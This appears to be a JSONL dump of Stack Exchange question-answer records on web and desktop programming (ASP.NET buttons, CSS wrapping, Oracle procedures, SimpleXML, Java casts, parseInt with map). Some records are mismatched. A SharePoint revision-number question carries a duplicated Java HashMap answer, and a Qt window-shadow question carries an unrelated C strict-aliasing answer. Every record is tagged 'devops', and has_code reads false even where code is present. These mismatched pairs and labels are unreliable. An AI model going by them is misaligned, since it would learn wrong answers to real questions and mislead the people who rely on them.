{"id": "hf_473d896059d2", "question": "<p>I have a image button. I wanted to add a text \"Search\" on it. I am not able to add it because the \"imagebutton\" property in VS 2008 does not have text control in it. Can anyone tell me how to add text to a image button??        </p>\n\n<pre><code>  &lt;asp:ImageButton ID=\"Searchbutton\" runat=\"server\" AlternateText=\"Search\" \n        CssClass=\"bluebutton\"\n        ImageUrl=\"../Graphics/bluebutton.gif\" Width=\"110px\" \n        onclick=\"Searchbutton_Click\"/&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\n<button runat=\"server\" \n  style=\"background-image:url('/Content/Img/stackoverflow-logo-250.png')\" >\n  your text here<br/>and some more<br/><br/> and some more ....\n  </button>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.998931"}
{"id": "hf_01c8a4f48e26", "question": "<p>I know SQL Injection is one... what are the others...</p>\n", "question_body": "", "answer": "Buffer overflows\nare the classic if you're writing C, as they often allow the execution of arbitrary code by an attacker.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.030573"}
{"id": "hf_71755ea26119", "question": "<p>I have a page where my combo box has hundreds of elements which makes it very hard to pick the one item I want. Is there a good Javascript replacement that would do better than</p>\n\n<pre><code>&lt;select id=\"field-component\" name=\"field_component\"&gt; \n                  &lt;option selected=\"selected\"&gt;1&lt;/option&gt;&lt;option&gt;2&lt;/option&gt;...\n&lt;/select&gt;\n</code></pre>\n\n<p>Is there something with \"Intellisense\"-like auto-complete?</p>\n", "question_body": "", "answer": "You have\ndhtmlCombo\n, using ajax to retrieve data when you are filling the input field.\ndhtmlxCombo is a cross-browser JavaScript combobox with autocomplete feature.\nIt extends basic selectbox functionality to meet the requirements of the most up-to-date web applications.\ndhtmlxCombo can be converted from existing HTML SELECT or populated with JavaScript. Supporting AJAX, it can also\nget list values from the server datasource dynamically\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.051449"}
{"id": "hf_9722d2bae472", "question": "<p>I've got menu items that look like this</p>\n\n<pre><code>&lt;ul&gt;\n  &lt;li&gt;Item1&lt;span class=\"context-trigger\"&gt;&lt;/span&gt;&lt;/li&gt;\n  &lt;li&gt;Item2&lt;span class=\"context-trigger\"&gt;&lt;/span&gt;&lt;/li&gt;\n  &lt;li&gt;Item3&lt;span class=\"context-trigger\"&gt;&lt;/span&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>with CSS that turns the above into a horizontal menu, and JS that turns the [spans] into buttons that bring up contextual menus. Vaguely like this:</p>\n\n<pre>\nItem1^  Item2^  Item3^\n</pre>\n\n<p>If the menu gets too wide for the browser width, it wraps, which is what I want. The problem is that sometimes it's putting in line-breaks before the [spans]. I only want it to break between [li]s. Any ideas?</p>\n", "question_body": "", "answer": "try using\n```\n```\nwhite-space: nowrap;\n```\n```\nin the css definition of your context-trigger class.\nEdit: I think patmortech is correct though, putting nowrap on the span does not work, because there is no \"white space\" content. It might also be that sticking the style on the LI element does not work either, because the browser might breakup the parts because the span is a nested element in li. You might reconsider your code, drop the SPAN element and use css on the LI elements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.099559"}
{"id": "hf_b85044e5e3f0", "question": "<p>Sooo...it's only sort of programming related, but I figure it's election day, right? Is there a single good reason why they aren't, not necessarily open source in that anyone can contribute, but open source in that anyone could inspect the source?</p>\n", "question_body": "", "answer": "the problem is opensourcing the software would be a no-op.\nThey don't have any decent cryptography, and there has been demonstrated and relatively easy ways to contravene them simply by hot-swapping a ROM chip in the voting booth, or Having a device that augments the records in the record cartridge.\nYoutube: Sequoia Part 1 Those with access can hack with programmed ROM chip\nYoutube: Sequoia Part 2 Logic and Accuracy Test vs Election Mode with vote-stealing firmware\nYoutube: Sequoia Part 5 Manipulating Sequoia Voting Results Cartridges from Precincts\n@Mnementh\nThe bad cryptography and the possibility to swap the ROM-chip has nothing \n  to do with open-sourcing the code? So there is the point?\nThere are only 3 logical reasons for opensourcing this code:\nTo put under scrutiny how the votes are counted to be certain its doing it right.\nFor somebody to be able to modify that code for their own needs.\nTo put the software into public domain so public committers can improve on it.\nPoints 1 and 3 are blown out of the water in terms of usefulness and \"proving your vote counts\" because you have no assurance that the code you are seeing/improving runs on these devices.\nSo that leaves only condition 2 being useful, and as you are not going to\nown\nyour own voting machine, and have no need for one for anything more than nefarious causes\nor\nto simply prove their vulnerability.\nFor the majority of cases all it would mean is that there would be more information publically available on\nhow\nto contravene these machines, so you would no longer need physical access to one in order to attempt reverse engineer their software and develop compromised ROM chips for use in said devices, grossly reducing the barrier to entry for the compromise of the voting system.\nGranted, even in a non-opensource state this information can still leak, and you just have a false sense of security because you assume \"theres no leak, I am safe\", but on the contrary, if you open source it people will assume \"hundreds of people have looked at the source code, I am safe\" which is an equally bad false sense of security.\nPeople are looking for a silver bullet safe way of voting, and sadly, there is none. Not without growing a race of purified peoples whom are brought up by non-committal monks in isolationist shrines to have a breed of people simply for the task of witnessing and counting votes accurately, whom are trained to be amoral and can't be bribed to switch the vote.\n( It would sort of be like the 'dark angel' series except with voting agents instead of assassins, and we all know how that show works out, one of them would go rouge, we'd trust them, and they'd screw us all )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.123570"}
{"id": "hf_f2a1e1b3f317", "question": "<p>In our project we have a large number (hundreds) of FLA files created by the artists in CS3, from which we compile SWFs to use in our Flex/AS3 application.</p>\n\n<p>As part of a streamlined build/deploy system, it would be really handy to be able to automate publishing all these FLAs, and ideally deploying the SWFs too. I found some ways to do the batch publishing from CS3 using JSFL, but was surprised to discover CS3 doesn't apparently have any command-line functionality for this?</p>\n\n<p>This is on a Linux system for what it's worth, I don't have experience with JSFL to know if you can run scripts from the command line somehow?</p>\n\n<p><strong>note</strong>: I should have said \"Linux is preferred\"... I don't use Linux but our server/build PC is Linux... I didn't realise CS3 was not compatible so I guess we can do this part on Windows.</p>\n", "question_body": "", "answer": "How you are running Flash CS3 on Linux ? \nyou cannot run JSFL from command line but compiling a FLA file should be possible\nsome old example\nhttp://www.mikechambers.com/blog/2003/11/01/flashcommand-flash-2004-command-line-compiler/\nnewer stuff from Mike Chambers\nhttp://code.google.com/p/flashcommand/\nfor OSX\nso it's definitely possible seems only through semi automated IDE publishing,\ntoo bad Flex compiler is not capable of such a thing, together with ANT tasks it's a killer...\nwith FDT editor things are pretty cool and automated", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.153051"}
{"id": "hf_4d6cbb02efc8", "question": "<p>I have read about a technique involving writing to disk a rendered dynamic page and using that when it exists using mod_rewrite. I was thinking about cleaning out the cached version every X minutes using a cron job.</p>\n\n<p>I was wondering if this was a viable option or if there were better alternatives that I am not aware of.</p>\n\n<p>(Note that I'm on a shared machine and mod_cache is not an option.)</p>\n", "question_body": "", "answer": "You could use your cron job to run the scripts and redirect the output to a file.\nIf you had a php file index.php, all you would have to do is run\n```\nphp index.php > (location of static file)\n```\nYou just have to make sure that your script runs the same on command line as it does served by apache.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.206028"}
{"id": "hf_400e279dd10c", "question": "<p>I have a debug app I've been writing which receives data from a C-based process via UDP. One of the strings sent to me contains a <code>°</code> character - <a href=\"http://en.wikipedia.org/wiki/Degree_symbol\" rel=\"nofollow noreferrer\">Unicode U+00B0</a> (which incidentally breaks the StackOverflow search function!). When my wxPython application tries to append that string to a text box I get a <code>UnicodeDecodeError</code>.</p>\n\n<p>My first attempt to fix the issue simply caught that error (because the app apparently does send <em>some</em> bad messages. The problem is that the app also uses the character to report various temperatures around the unit and that's something we really need to log. Changing the source app is out of my control, so how can I detect and decode those symbols into something the <code>wxTextCtrl</code> can display?</p>\n", "question_body": "", "answer": "I can't say mych about wxPython itself, but I am guessing that it is trying to convert the text to Unicode before displaying it, If you have a string like\n```\n'123\\xB0'\n```\nand try to convert it to Unicode with teh default encoding (ASCII) then it will throw\n```\nUnicodeDecodeError\n```\n. You can probably fix this by replacing\n```\n```\ns = message.get_string()\n```\n```\nwith\n```\n```\ns = message.get_string().decode('ISO8859-1')\n```\n```\n(where I am assuming a function\n```\nget_string()\n```\nthat gets the message as a string). The difference here is that by handong the conversion to Unicode yourself you get to specify the encoding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.288364"}
{"id": "hf_16fefd0c9efb", "question": "<p>How can I use CRTP in C++ to avoid the overhead of virtual member functions?</p>\n", "question_body": "", "answer": "I had to look up\nCRTP\n. Having done that, however, I found some stuff about\nStatic Polymorphism\n. I suspect that this is the answer to your question.\nIt turns out that\nATL\nuses this pattern quite extensively.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.323867"}
{"id": "hf_4556a1578492", "question": "<p>How do I create a toolbar for Excel using an XLA document?</p>\n", "question_body": "", "answer": "Not sure if this is what you're looking for but I thought this might help you out:\nExcel -- Macro Toolbar\nSince you don't specify a version of Excel I'm not sure if this will work for you or not but perhaps it will furnish you with a good starting point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.387608"}
{"id": "hf_d6e1365afd66", "question": "<p>In the iPhone is there a way I can use JavaScript to close the browser and return to the home screen? After the last page a wizard I am calling out to another iPhone app (ex: maps) and I do NOT what the user to come back to the browser screen when they are done. My backup plan is to have a \"Complete\" page but that is not the best experience for the client.</p>\n", "question_body": "", "answer": "Knowing Apple, this may not be possible with JavaScript. Have you tried anything yet? If not, try one of these guys out:\n```\n```\njavascript:self.close();\nwindow.close();\n```\n```\nEDIT: I found this thru google, this may bypass the confirmation box, but I don't think it works with the modern browsers anymore:\n```\n```\nwindow.opener='x';\nwindow.close();\n```\n```\nI just checked, doesn't look like it will work (IE7 box pops up, FF3 does nothing, Opera 9.61 doesnt have a prompt box at all).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.411508"}
{"id": "hf_966c331add29", "question": "<p>When I get a reference to a <code>System.Diagnostics.Process</code>, how can I know if a process is currently running?</p>\n", "question_body": "", "answer": "This is a way to do it with the name:\n```\n```\nProcess[] pname = Process.GetProcessesByName(\"notepad\");\nif (pname.Length == 0)\n  MessageBox.Show(\"nothing\");\nelse\n  MessageBox.Show(\"run\");\n```\n```\nYou can loop all process to get the ID for later manipulation:\n```\n```\nProcess[] processlist = Process.GetProcesses();\nforeach(Process theprocess in processlist){\n   Console.WriteLine(\"Process: {0} ID: {1}\", theprocess.ProcessName, theprocess.Id);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.447739"}
{"id": "hf_2161f7ca802b", "question": "<p>In oracle, I want to create a delete sproc that returns an integer based on the outcome of the deletion.</p>\n\n<p>this is what i have so far.</p>\n\n<pre><code>create or replace\nPROCEDURE Testing\n( \niKey IN VARCHAR2\n)\n AS \n\nBEGIN\n  delete from MyTable WHERE \n  TheKey = iKey;\n\nEND Testing;\n</code></pre>\n\n<p>i've tried putting a RETURNS INTEGER in but the sproc won't compile.</p>\n", "question_body": "", "answer": "A procedure does not return a value.  A function returns a value, but you shouldn't be doing DML in a function (otherwise you cannot do things like reference the function in a SQL statement, you confuse permission grants since normally DBAs want to be able to grant read-only users access to all the functions so that users are doing computations consistently, etc.).\nYou can add an OUT parameter to the procedure to return the status.  If \"success\" means that one or more rows were updated, you can use SQL%ROWCOUNT to get a count of the number of rows modified by the prior SQL statement and use that to populate the return parameter, i.e.\n```\n```\nCREATE OR REPLACE PROCEDURE test_proc (\n  p_iKey    IN VARCHAR2,\n  p_retVal OUT INTEGER\n)\nAS\nBEGIN\n  DELETE FROM myTable\n   WHERE theKey = p_iKey;\n\n  IF( SQL%ROWCOUNT >= 1 )\n  THEN\n    p_retVal := 1;\n  ELSE\n    p_retVal := 0;\n  END IF;\nEND test_proc;\n```\n```\nOf course, from a general code clarity standpoint, I'm dubious about OUT parameters that appear to be trying to return a status code.  You are generally much better served by assuming success and throwing exceptions in the event of an error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.517462"}
{"id": "hf_cb3f3cbce3d4", "question": "<p>I have several identical elements with different attributes that I'm accessing with SimpleXML:</p>\n\n<pre><code>&lt;data&gt;\n    &lt;seg id=\"A1\"/&gt;\n    &lt;seg id=\"A5\"/&gt;\n    &lt;seg id=\"A12\"/&gt;\n    &lt;seg id=\"A29\"/&gt;\n    &lt;seg id=\"A30\"/&gt;\n&lt;/data&gt;\n</code></pre>\n\n<p>I need to remove a specific <strong>seg</strong> element, with an id of \"A12\", how can I do this?  I've tried looping through the <strong>seg</strong> elements and <em>unset</em>ting the specific one, but this doesn't work, the elements remain.</p>\n\n<pre><code>foreach($doc-&gt;seg as $seg)\n{\n    if($seg['id'] == 'A12')\n    {\n        unset($seg);\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "While\nSimpleXML\nprovides\na way to remove\nXML nodes, its modification capabilities are somewhat limited. One other solution is to resort to using the\nDOM\nextension.\ndom_import_simplexml()\nwill help you with converting your\n```\nSimpleXMLElement\n```\ninto a\n```\nDOMElement\n```\n.\nJust some example code (tested with PHP 5.2.5):\n```\n```\n$data='<data>\n    <seg id=\"A1\"/>\n    <seg id=\"A5\"/>\n    <seg id=\"A12\"/>\n    <seg id=\"A29\"/>\n    <seg id=\"A30\"/>\n</data>';\n$doc=new SimpleXMLElement($data);\nforeach($doc->seg as $seg)\n{\n    if($seg['id'] == 'A12') {\n        $dom=dom_import_simplexml($seg);\n        $dom->parentNode->removeChild($dom);\n    }\n}\necho $doc->asXml();\n```\n```\noutputs\n```\n```\n<?xml version=\"1.0\"?>\n<data><seg id=\"A1\"/><seg id=\"A5\"/><seg id=\"A29\"/><seg id=\"A30\"/></data>\n```\n```\nBy the way: selecting specific nodes is much more simple when you use XPath (\nSimpleXMLElement->xpath\n):\n```\n```\n$segs=$doc->xpath('//seq[@id=\"A12\"]');\nif (count($segs)>=1) {\n    $seg=$segs[0];\n}\n// same deletion procedure as above\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.582382"}
{"id": "hf_65b204f84ba5", "question": "<p>On Ubuntu Linux with Gnome, running my Swing application by double clicking on the jar file in Gnomes file browser leads to errors because required libraries that are dynamically loaded via the Java Plugin Framework (residing in subdirectories) are not found.</p>\n\n<p>The base libraries for the framework itself are resolved correctly, as stated in my executable jar's manifest file.\nHowever, once the framework launches, no plugins (not even the one specifying my platform) are found.</p>\n\n<p>Launching the application from the terminal via</p>\n\n<pre>\njava -jar myjar.jar\n</pre>\n\n<p>works like a charm, ad does running the application by double-clicking a shell-script.</p>\n\n<p>However, I'd like to avoid a terminal window. (I'm a Windows person, maybe it won't annoy linux people as it does annoy those on windows.)</p>\n\n<p>The problem is reproducible across several Linux systems.\nIs there something I need to do so Java resolves the libraries correctly?</p>\n", "question_body": "", "answer": "Java loads jars in order in its classpath, i.e. jar1:jar2:jar3... Most java applications ship with some sort of script which sets all of this up by specifying a classpath and a list of jars that the application will need.\nWhat you want to do is probably not terribly advisable, as it means globally specifying a collection of jars that you want to load with every java application, and you're liable to create conflicts with whatever libraries ship with the application.\nThis isn't really a problem, the easiest solution is probably to throw together a little shell script launcher.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.619252"}
{"id": "hf_cb56d33b7328", "question": "<p>I'm working on a stripes app that uses a bit of jQuery to make the UI more dynamic/usable.</p>\n\n<p>I set up an Error Resolution, so if an error is thrown, the user is redirected to an error.jsp page.</p>\n\n<p>However, if an error is thrown during a jQuery Ajax call, instead of redirecting to the error.jsp page, I get html printed to the page where the result of the call should have been instead.</p>\n\n<p>How do I tell jQuery to redirect if an exception was thrown instead of printing to the page?</p>\n\n<p>An example of the offending Ajax:</p>\n\n<pre><code>$.post(\"SendStatusEmail.action\",\n            {status: newstatus, id : id },\n            function(data) {\n                column.text(data);\n                column.addClass(\"redfont\");\n                column.parent().fadeOut(3000, function(){column.parent().remove()});\n</code></pre>\n", "question_body": "", "answer": "```\n```\n$(document).ajaxError(function(event, XMLHttpRequest, ajaxOptions, thrownError) {\n    // redirect here.\n}\n```\n```\nI should add that I don't redirect when there is an exception in an Ajax call.  Instead, I have the server return an error description in JSON format and display that in the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.642703"}
{"id": "hf_2644b6659d5e", "question": "<p>In my spring application context file, I have something like:</p>\n<pre><code>&lt;util:map id=&quot;someMap&quot; map-class=&quot;java.util.HashMap&quot; key-type=&quot;java.lang.String&quot; value-type=&quot;java.lang.String&quot;&gt;\n    &lt;entry key=&quot;some_key&quot; value=&quot;some value&quot; /&gt;\n    &lt;entry key=&quot;some_key_2&quot; value=&quot;some value&quot; /&gt;   \n&lt;/util:map&gt;\n</code></pre>\n<p>In java class, the implementation looks like:</p>\n<pre><code>private Map&lt;String, String&gt; someMap = new HashMap&lt;String, String&gt;();\nsomeMap = (HashMap&lt;String, String&gt;)getApplicationContext().getBean(&quot;someMap&quot;);\n</code></pre>\n<p>In Eclipse, I see a warning that says:</p>\n<p><strong>Type safety: Unchecked cast from Object to HashMap&lt;String,String&gt;</strong></p>\n<p>What went wrong?</p>\n", "question_body": "", "answer": "Well, first of all, you're wasting memory with the new\n```\nHashMap\n```\ncreation call. Your second line completely disregards the reference to this created hashmap, making it then available to the garbage collector. So, don't do that, use:\n```\n```\nprivate Map<String, String> someMap = (HashMap<String, String>)getApplicationContext().getBean(\"someMap\");\n```\n```\nSecondly, the compiler is complaining that you cast the object to a\n```\nHashMap\n```\nwithout checking if it is a\n```\nHashMap\n```\n. But, even if you were to do:\n```\n```\nif(getApplicationContext().getBean(\"someMap\") instanceof HashMap) {\n    private Map<String, String> someMap = (HashMap<String, String>)getApplicationContext().getBean(\"someMap\");\n}\n```\n```\nYou would probably still get this warning. The problem is,\n```\ngetBean\n```\nreturns\n```\nObject\n```\n, so it is unknown what the type is. Converting it to\n```\nHashMap\n```\ndirectly would not cause the problem with the second case (and perhaps there would not be a warning in the first case, I'm not sure how pedantic the Java compiler is with warnings for Java 5). However, you are converting it to a\n```\nHashMap<String, String>\n```\n.\nHashMaps are really maps that take an object as a key and have an object as a value,\n```\nHashMap<Object, Object>\n```\nif you will. Thus, there is no guarantee that when you get your bean that it can be represented as a\n```\nHashMap<String, String>\n```\nbecause you could have\n```\nHashMap<Date, Calendar>\n```\nbecause the non-generic representation that is returned can have any objects.\nIf the code compiles, and you can execute\n```\nString value = map.get(\"thisString\");\n```\nwithout any errors, don't worry about this warning. But if the map isn't completely of string keys to string values, you will get a\n```\nClassCastException\n```\nat runtime, because the generics cannot block this from happening in this case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.679562"}
{"id": "hf_c907a1314b13", "question": "<p>After \"check-in\" of a <code>.docx</code> file to <code>SharePoint</code> and editing it the <code>RevNum</code> property is set to <code>2</code>.</p>\n\n<p>This does not make sense, can someone explain why this is?</p>\n", "question_body": "", "answer": "Well, first of all, you're wasting memory with the new\n```\nHashMap\n```\ncreation call. Your second line completely disregards the reference to this created hashmap, making it then available to the garbage collector. So, don't do that, use:\n```\n```\nprivate Map<String, String> someMap = (HashMap<String, String>)getApplicationContext().getBean(\"someMap\");\n```\n```\nSecondly, the compiler is complaining that you cast the object to a\n```\nHashMap\n```\nwithout checking if it is a\n```\nHashMap\n```\n. But, even if you were to do:\n```\n```\nif(getApplicationContext().getBean(\"someMap\") instanceof HashMap) {\n    private Map<String, String> someMap = (HashMap<String, String>)getApplicationContext().getBean(\"someMap\");\n}\n```\n```\nYou would probably still get this warning. The problem is,\n```\ngetBean\n```\nreturns\n```\nObject\n```\n, so it is unknown what the type is. Converting it to\n```\nHashMap\n```\ndirectly would not cause the problem with the second case (and perhaps there would not be a warning in the first case, I'm not sure how pedantic the Java compiler is with warnings for Java 5). However, you are converting it to a\n```\nHashMap<String, String>\n```\n.\nHashMaps are really maps that take an object as a key and have an object as a value,\n```\nHashMap<Object, Object>\n```\nif you will. Thus, there is no guarantee that when you get your bean that it can be represented as a\n```\nHashMap<String, String>\n```\nbecause you could have\n```\nHashMap<Date, Calendar>\n```\nbecause the non-generic representation that is returned can have any objects.\nIf the code compiles, and you can execute\n```\nString value = map.get(\"thisString\");\n```\nwithout any errors, don't worry about this warning. But if the map isn't completely of string keys to string values, you will get a\n```\nClassCastException\n```\nat runtime, because the generics cannot block this from happening in this case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.704764"}
{"id": "hf_ffb1aff7f4e1", "question": "<p>How to make a shadow to main window widget on windows using Qt?</p>\n", "question_body": "", "answer": "Correct, the second example is in violation of the strict aliasing rules, so if you compile with the\n```\n-fstrict-aliasing\n```\nflag, there's a chance you may get incorrect object code.  The fully correct solution would be to use a union here:\n```\n```\nunion\n{\n  SocketMsgToRecv msg;\n  char msgBuff[100];\n};\n\nrecv(socket, msgBuff, 100);\n\nprintf(\"Got Msg: a: %i, b: %i\", msg.a, msg.b);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.759529"}
{"id": "hf_9f82dc1f3d7e", "question": "<p>In an actionscript function (method) I have access to arguments.caller which returns a Function object but I can't find out the name of the function represented by this Function object. \nIts toString() simply returns [Function] and I can't find any other useful accessors that give me that...\nHelp :-/</p>\n", "question_body": "", "answer": "A function is just an object like any other - it doesn't have a \"name\" in and of itself; it only has a name in the sense that you might make one or more references to it. If what you're asking is how to get the name of the reference by which the function was called, then there's no general way to do that. (After all the function could be declared anonymously, in which case it has no name at all.)\nIt would probably be best to examine why you need to know the function's name, and figure out some other way to pass in or access the information you're trying to derive from that name. Passing in an additional parameter might be one approach, but it depends on what you're doing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.799481"}
{"id": "hf_1b92f804fc53", "question": "<p>Which component is best to use for receiving HTTP requests in Delphi application?</p>\n", "question_body": "", "answer": "Indy\nis the way to go. but you need a server component, not a client one.\nTIDHTTPServer\nshould fit the bill", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.823606"}
{"id": "hf_5e03457f7493", "question": "<p>From the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map\" rel=\"noreferrer\">Mozilla Developer Network</a>:</p>\n\n<pre><code>[1,4,9].map(Math.sqrt)\n</code></pre>\n\n<p>will yield:</p>\n\n<pre><code>[1,2,3]\n</code></pre>\n\n<p>Why then does this:</p>\n\n<pre><code>['1','2','3'].map(parseInt)\n</code></pre>\n\n<p>yield this:</p>\n\n<pre><code>[1, NaN, NaN]\n</code></pre>\n\n<p>I have tested in Firefox 3.0.1 and Chrome 0.3 and just as a disclaimer, I know this is not cross-browser functionality (no IE).</p>\n\n<p>I found out that the following will accomplish the desired effect. However, it still doesn’t explain the errant behavior of <code>parseInt</code>.</p>\n\n<pre><code>['1','2','3'].map(function(i){return +i;}) // returns [1,2,3]\n</code></pre>\n", "question_body": "", "answer": "I'm going to wager that it's something funky going on with the parseInt's 2nd parameter, the radix.  Why it is breaking with the use of Array.map and not when you call it directly, I do not know.\n```\n```\n//  Works fine\nparseInt( 4 );\nparseInt( 9 );\n\n//  Breaks!  Why?\n[1,4,9].map( parseInt );\n\n//  Fixes the problem\n[1,4,9].map( function( num ){ return parseInt( num, 10 ) } );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:11.906083"}
{"id": "hf_aed8bee74ab5", "question": "<p>Is there any way to make a function (the ones I'm thinking of are in the style of the simple ones I've made which generate the fibonnacci sequence from 0 to a point, and all the primes between two points) run indefinitely.   E.g. until I press a certain key or until a time has passed, rather than until a number reaches a certain point? </p>\n\n<p>Also, if it is based on time then is there any way I could just extend the time and start it going from that point again, rather than having to start again from 0? I am aware there is a time module, i just don't know much about it.</p>\n", "question_body": "", "answer": "As in almost all languages:\n```\n```\nwhile True:\n  # check what you want and eventually break\n  print nextValue()\n```\n```\nThe second part of your question is more interesting:\nAlso, if it is based on time then is there anyway I could just extend the time and start it going from that point again rather than having to start again from 0\nyou can use a\n```\nyield\n```\ninstead of\n```\nreturn\n```\nin the function\n```\nnextValue()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.019229"}
{"id": "hf_972ef55ab32c", "question": "<p>Is there a way to search Microsoft Visual SourceSafe 6.0d for all files tagged with a specific label?</p>\n", "question_body": "", "answer": "I don't think you can search by label, but you can get by label.\nFrom MSDN:\nTo get a version by label:\nMake sure that you have set a working folder in Visual SourceSafe Explorer. See How to: Set the Working Folder.\nEnsure that you have set the history options. See How to: View History.\nSelect the project that contains the file to retrieve.\nOn the Tools menu, click Show History.\nIn the History Options dialog box, select the version of the file to retrieve and click OK.\nIn the History of  dialog box, click Get to retrieve the version of the file that you have chosen.\nIn the Get dialog box, make any additional entries needed and click OK to retrieve the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:12.105878"}
